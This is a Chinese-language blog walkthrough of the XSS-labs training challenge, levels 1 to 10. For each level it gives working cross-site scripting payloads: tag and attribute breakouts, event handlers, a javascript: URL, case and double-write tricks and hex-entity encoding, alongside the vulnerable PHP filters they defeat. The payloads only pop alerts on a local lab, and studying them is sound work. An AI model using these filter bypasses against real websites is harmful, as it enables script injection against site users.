经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » JS/JS库/框架 » JavaScript » 查看文章
XSS-labs通关挑战(xss challenge) - ruoli-s
来源:cnblogs  作者:ruoli-s  时间:2021/1/18 16:26:04  对本文有异议

XSS-labs通关挑战(xss challenge)

0x00 xss-labs

最近在看xss,今天也就来做一下xss-labs通过挑战。找了好久的源码,终于被我给找到了,因为在GitHub上大家也知道那个下载速度,所以,我也就直接转接到自己的码云上去了,在这也贴出来,欢迎大家下载使用。

源码链接请点击:https://gitee.com/ruoli-s/xss-labs

安装没啥好说的,直接放进自己搭建好的www目录下,就可以开始闯关了,xss-labs一共有level 20,做着看吧。

(其实觉得这些图片才是我真正想做xss challenge的最大原因img)

image-20210115185051244

0x01 Level 1 无过滤机制

image-20210115190305848

看了半天,原来参数在URL里放着呢,

image-20210115192519758

修改参数,页面也随之变动,右键查看源代码,发现有跳转到level 2 的JS,而我们传入的参数是几位的,下面就显示payload的长度。

image-20210115192731335

OK,直接走代码:

  1. <script>alert(/xss/)</script>

image-20210115193519094


0x02 Leval 2 闭合标签

image-20210115194005055

我们直接输入level 1 的 payload,发现直接输出了,这里应该是做了实体转义。

image-20210115193744576

F12查看前端代码:

image-20210115194351470

第一处就是显示在页面上的代码,第二处是我们输入的代码,这里应该是做了转义,我们构造payload,使用">尝试闭合input标签:

  1. "><script>alert(/xss/)</script>

image-20210115194940046


0x03 Leval 3 单引号闭合+htmlspecialchar()函数

image-20210115205058546

来到Leval 3,我们还是先使用上两关测试的payload来验证:

image-20210115205557603

发现全部被实体转义了,我们去看源代码:

  1. <?php
  2. ini_set("display_errors", 0);
  3. $str = $_GET["keyword"];
  4. echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
  5. <form action=level3.php method=GET>
  6. <input name=keyword value='".htmlspecialchars($str)."'>
  7. <input type=submit name=submit value=搜索 />
  8. </form>
  9. </center>";
  10. ?>

咳咳,发现对双引号做了限制,但是却放行了单引号',而且居然在value这里也加了htmlspecialchars函数,这种情况我们可以通过事件标签触发表单执行。这里开始构造payload:

  1. 'onmouseover='alert(/xss/)

image-20210115221343280

可以看到,在提交之后,没有立刻弹出,这里我们还需要将鼠标移动到文本框,让事件触发。

image-20210115221850004

补充:

htmlspecialchars函数

html事件属性


0x04 Leval 4 双引号闭合+添加事件

image-20210115224342651

我们还是一样,使用前面测试过的,先一一过一遍,当然,结果必然是失败的,那么接下来我们看全端代码:

image-20210115234612324

可以发现源代码对><进行了过滤,我们看源代码:

  1. <?php
  2. ini_set("display_errors", 0);
  3. $str = $_GET["keyword"];
  4. $str2=str_replace(">","",$str);
  5. $str3=str_replace("<","",$str2);
  6. echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
  7. <form action=level4.php method=GET>
  8. <input name=keyword value="'.$str3.'">
  9. <input type=submit name=submit value=搜索 />
  10. </form>
  11. </center>';
  12. ?>

?确实使用str_replace()尖括号进行了过滤,而且对单引号'做了防御,所以,我们直接模仿上一题,使用HTML事件,构造payload:

  1. "onmouseover="alert(/xss/)

image-20210115235939043

这里也是成功过关。


0x05 Leval 5 javascript伪协议

image-20210116112615699

终于来到了第五关,我们使用前面的方式都测了一遍,失败无疑,但是发现了一些其他东西:

image-20210116150442506

貌似on被做了手脚,我们继续在o后面输入其他,发现只有on被替换了,这也就意味着事件是不能用了。

image-20210116150807491

继续尝试发现<script>也被进行了替换<scr_ipt>,

image-20210116151044701

到这里相信大家都想到了,我们试试大小写混用:

image-20210116151747433

咳咳,在线打脸哈,输出全为小写,看来人家也是做了大小写过滤了。

image-20210116151900058

继续尝试看看能否闭合,我们输入',",<,>,\进行尝试,发现只有'被实体转义。那应该就是可以使用"来构造闭合:

image-20210116151535724

好,该试的都试过了,接下来我们试试 javascript 的伪协议

要看javascript伪协议的请点这里

  1. "><a href=javascript:alert(/xss/)>

image-20210116153331190

image-20210116153501066

最后,我们也是成功的过关了,当然,还是看一下源码比较踏实:

  1. <?php
  2. ini_set("display_errors", 0);
  3. $str = strtolower($_GET["keyword"]);
  4. $str2=str_replace("<script","<scr_ipt",$str);
  5. $str3=str_replace("on","o_n",$str2);
  6. echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
  7. <form action=level5.php method=GET>
  8. <input name=keyword value="'.$str3.'">
  9. <input type=submit name=submit value=搜索 />
  10. </form>
  11. </center>';
  12. ?>

也确实如我们猜的一致,分别对on<script>进行了替换,也做了大小写过滤。好了,继续下一关,欧里给。


0x06 Leval 6 大小写绕过

顺利来到第6关,我们正在徒步前行!!!

image-20210116154828872

我们直接拿上一关的payload来测试,当然,也不用想,肯定是行不通的,直接来看前端代码,哎呦我去,发现了个啥,这次连href也给过滤了,是个狠人。

image-20210116183918429

我们也测试一下on<script>等,发现被过滤的明明白白的,且单引号'也被实体转义,但是我们也发现了其他的东西,貌似没有多虑大小写哈?

image-20210116185419800

我们直接撸大小写,使用双引号">构造闭合:

  1. <ScRipt>alert(/xss/)</scRIpT>

image-20210116185731885

这里也是成功过关。继续,冲冲冲!!!


0x07 Leval 7 双写绕过

来到第七关,嗯,这个图不错,很魔性有没有?

image-20210116190206085

废话不多说,先来一波,有木有发现还是挺管用的?(●'?'●)。

image-20210116195035217

发现像script这种关键字被过滤了,难道是双写?我们直接使用双引号"闭合构造payload:

  1. "><scrscriptipt>alert(/xss/)</scrscriptipt>

image-20210116195454082

轻松搞定??,下一个。


0x08 Leval 8 编码绕过

来到第八关,啥也不是。

image-20210116210245989

测试payload,可以看见前面测试过的基本都过滤了,大小写也都卡的死死的,但是我们发现前端代码中直接构造好了<a>标签,既然这样,我们不妨试试编码,看能否绕过:

image-20210116210823200

这里,笔者自己经过测试,html实体编码和hex编码都可以绕过,我就只放hex编码吧,看大多数博客上都是HTML实体编码,不熟悉的可以自己再了解了解。

我们可以看到,代码转换机制是将script中的ri变成了r_i,所以我们只编码ri试试:

字母 十进制 hex(十六进制)
r &#114; &#x72;
i &#105; &#x69;

编码链接请点这里

构造payload:

  1. javasc&#x72;&#x69;pt:alert(/xss/)

image-20210116213444302

干得漂亮,下一关。


0x09 Leval 9 检测关键字

越看这些图片越喜欢??,按照惯例,我们还是先捣鼓一番。

image-20210116213925894

我去,什么情况,该试的基本都试了一遍,这代码给的是个啥?我们输入的payload呢??

image-20210116215646648

img

不行,待老衲去查看源代码:

  1. <?php
  2. ini_set("display_errors", 0);
  3. $str = strtolower($_GET["keyword"]);
  4. $str2=str_replace("script","scr_ipt",$str);
  5. $str3=str_replace("on","o_n",$str2);
  6. $str4=str_replace("src","sr_c",$str3);
  7. $str5=str_replace("data","da_ta",$str4);
  8. $str6=str_replace("href","hr_ef",$str5);
  9. $str7=str_replace('"','&quot',$str6);
  10. echo '<center>
  11. <form action=level9.php method=GET>
  12. <input name=keyword value="'.htmlspecialchars($str).'">
  13. <input type=submit name=submit value=添加友情链接 />
  14. </form>
  15. </center>';
  16. ?>
  17. <?php
  18. if(false===strpos($str7,'http://'))
  19. {
  20. echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
  21. }
  22. else
  23. {
  24. echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
  25. }
  26. ?>

牛逼了,牛逼上天了,除了以前做过的所有过滤,竟然还加了个strpos函数,谁都不服就服你,这函数的意思是咱们输入的字符串里面必须要有http://字符,我,吐了呀,这谁能想的到:

想要更多了解strpos函数的请点这里

看到这里并没有对编码进行过滤,所以我们还是延用上题的payload:

  1. javasc&#x72;&#x69;pt:alert('xsshttp://')

image-20210116221407612

咳咳,这题,,,挺不人道的,下一个,啥也不是。


0x10 Leval 10 隐藏信息

历经千辛万苦,终于来到了整个挑战的一半,呜呜呜。

image-20210116222501534

噗噗噗,又吐了呀,所有的都试了,为毛又跑到URL链接上去了?看代码神马都没得呀,但是冒出了个表单是啥?还在页面没有显示?

image-20210116225702764

没办法,去看源码吧,哎,心碎了??

  1. <?php
  2. ini_set("display_errors", 0);
  3. $str = $_GET["keyword"];
  4. $str11 = $_GET["t_sort"];
  5. $str22=str_replace(">","",$str11);
  6. $str33=str_replace("<","",$str22);
  7. echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
  8. <form id=search>
  9. <input name="t_link" value="'.'" type="hidden">
  10. <input name="t_history" value="'.'" type="hidden">
  11. <input name="t_sort" value="'.$str33.'" type="hidden">
  12. </form>
  13. </center>';
  14. ?>

发现没有?感情keyword参数只是一个迷惑而已呀,真正起作用的是t_sort参数,但是有一个问题,它的type类型是hidden,我们得在前端改为text类型,让其显现出来,且后台只对<>做了过滤,我们可以用事件来构造:

  1. "onmouseover="alert(/xss/)

image-20210116230805030

image-20210116231027885

注意:一定要在前端修改2次type类型,才能完成弹窗。


0x11 Leval 11

持续更新中·····

原文链接:http://www.cnblogs.com/ruoli-s/p/14285233.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号